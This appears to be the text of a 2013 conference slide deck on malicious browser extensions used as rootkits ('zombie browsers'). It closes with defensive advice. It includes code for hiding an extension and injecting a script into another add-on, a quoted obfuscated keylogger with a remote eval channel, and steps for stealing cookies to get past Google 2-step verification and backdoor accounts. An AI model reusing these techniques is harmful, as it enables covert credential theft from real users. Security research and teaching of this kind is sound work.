Introduction

Zoltán Balázs
ITSEC consultant
Deloitte Hungary
Instructor @NetAkademia.hu
OSCP, CISSP, C|HFI, CPTS, MCP
http://www.slideshare.net/bz98

Cyberlympics finals 2012 - 2nd runner up
Member of the gula.sh team
I love Hacking
I love Zombie movies
I love LOLcats

I iz teh sneakiest.
Zombies + Hacking + LOLcats = I R ZOMBIE BROWSER
Zombie browsers, spiced with rootkit extensions

OWASP 2013
History of malicious extensions (add-on, plug-in, extension, BHO)

Focus on Firefox, Chrome, Safari

Advantages – disadvantages

Browser extension rootkits

Live demo – home made extension
History of malicious Firefox extensions

90% of malicious extensions were created for Facebook spamming

2004-2010: 5
2011: 5
2012: 56*

*Data from mozilla.org
More examples on Facecrook
My zombie extension

Command and Control

Stealing cookies, passwords

Uploading/downloading files (Firefox, Chrome NPAPI on todo list)

Binary execution (Firefox - Windows, Chrome NPAPI on todo list)

Geolocation
The Evil Company

Evil defensive solutions
- Firewall
- Webfilter
- Application whitelisting
- AV
- HIPS
- WTF
CREATE CHROME AND SAFARI EXTENSION?

CHALLENGE ACCEPTED
Safari demo
Installing the extension

Physical access
Social Engineering
Remote code execution – without user interaction
Firefox rootkit 1

Hook into other extension (even signed ones)

```xml
<!DOCTYPE overlay SYSTEM "chrome://flashx/locale/browserOverlay.dtd">
<overlay id="flashx-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://flashx/content/browserOverlay.js" />
<script type="application/x-javascript" src="chrome://flashx/content/evil.js" />
</overlay>
```
Firefox rootkit 2

visible = false
Firefox rootkit 3

seen in the wild

// rootkit functionality

```javascript
function rm(list) {
    var addons = list.childNodes;
    for(var i = 0; i < addons.length; ++i)
        if(addons[i].getAttribute('name') == 'Zombiebrowser')
            list.removeChild(addons[i]);
}
```
Risks of a Zombie Browser

Eats your brain while you are asleep
Risks of a Zombie Browser
Risks of a Zombie Browser

- Firewall/proxy ☠
- Local firewall ☠
- Application whitelisting ☠
- Web-filtering ☠
Risks of a Zombie Browser

Cross-platform ☠
Cross-domain Universal XSS ☠
Every secret is available ☠
  Password input method does not matter (password safe, virtual keyboard, etc.)
  Before SSL (+JS obfuscation)
Malicious source codes are available ☠
Advantage against meterpreter ☠
  exe/dll is not needed for persistence
  Writing into registry is not needed
Risks of a zombie browser

- Low AV signature based detection rate 
- Sample from January 2011. – February 2013

Extension vs. behavioral based detection
Friendly message to AV developers: try harder…

Code snippets from undetected malicious browser extension

```javascript
var
_0x39fe=['\x73\x63\x72\x69\x70\x74','\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x6e\x74','\x74\x79\x70\x65','\x74\x65\x78\x74…
_0xaed4=_0x39fe[0],_0x39fe[1],_0x39fe[2],_0x39fe[3],_0x39fe[4],_0x39fe[5],_0x39fe[6],_0x39fe[7],_0x39fe[8],_0x39fe[9]];

keylogger_namespace.keylogger…

for(var x in mothership){if (mothership[x].command == "eval")
{eval(mothership[x].data);
```
YOUR FREE APP IS STEALING MY PERSONAL INFORMATION. I'D LIKE TO LODGE A COMPLAINT.

BUY OUR MONTHLY SUBSCRIPTION PACKAGE OR I'LL SEND YOUR BROWSER HISTORY TO YOUR CONTACTS.

HOW'S YOUR APP DOING?

IT PRACTICALLY SELLS ITSELF.

Profit ...
Firefox
Disadvantages (for the Hacker)

- Not a real rootkit
- Browser limitations (eg. portscan)
- Platform limitations (eg. Execute binary code only on Windows)
- Runs in user space
- Runs only when browser is open
- Extensions are not yet supported in:
  - Chrome on Android/iOS
  - Safari on iOS
Gmail demo

defeat 2 step verification

Why Google?

Hacking “the others” is boring

clear text cookies

missing 2 step verification

no concurrent session detection
Gmail demo

defeat 2 step verification
One **Cookie** to rule them all

Cookie + password stealing – defeat Google 2-step verification

Use password reset on other sites linked to G-mail (Paypal, etc.)

Install any app from Google Play to victim’s Android phone

Access Android WIFI passwords

Access to Google+, Docs, Picasa, Blogger, Contacts, Web history, Checkout, Apps, OpenID

Backdoor Google account

   Adding application specific password

   Stealing backup codes

   G-mail mail forward rule
Chrome - rootkit
Zombie Android DEMO

Android SQLite Journal Information Disclosure (CVE-2011-3901)

Android 2.3.7
Zombie browser – attacking internal webservers

The Evil Company

1. 
2. 
3. 
4. 
5. 

Web proxy
Firewall
Victim internal web server

Victim user

Web server
The Internet

The Brave Haxxor
Firefox webcam
Browser extensions might be bad

@antivirus developers
Be reactive
The browser is the new OS

@browser developers (Mozilla)
Default deny installing extensions from 3rd-party sites
Chrome-level security
Require permissions
Extension components – separate privileges

@browser developers (Google) – keep on the good job
but disable NPAPI :)}
Browser extensions might be bad

@website developers
- There is no prevention against password stealing
- Cookie-stealing
- Restrict session to IP (by default)

@users
- Beware of malicious browser extensions
- Use separated OS for e-banking and other sensitive stuff
- Removing malicious extensions - create new clean profile in clean OS

@companies
- Control which browsers users can use
- Restrict extensions via GPO
One more thing ...
Sign in

Microsoft account What's this?

someone@example.com

Password

Keep me signed in

Sign in

Can't access your account?

Sign in with a single-use code

account, our priority

Security information helps protect your account

Message from webpage

Hello IE World!

OK
References


Christophe Devaux, Julien Lenoir: Browser rootkits, 2008

Duarte Silva: Firefox FFSpy PoC, 2008

Andreas Grech: Stealing login details with a Google Chrome extension, 2010

Matt Johansen, Kyle Osborn: Hacking Google ChromeOS, 2011

Nicolas Paglieri: Attacking Web Browsers, 2012
Browser extensions might be bad, Mmmkay???
zbalazs@deloittece.com
zbalazs4
hu.linkedin.com/in/zbalazs

Code released under GPL
http://github.com/Z6543/ZombieBrowserPack

Greetz to @hekkcamp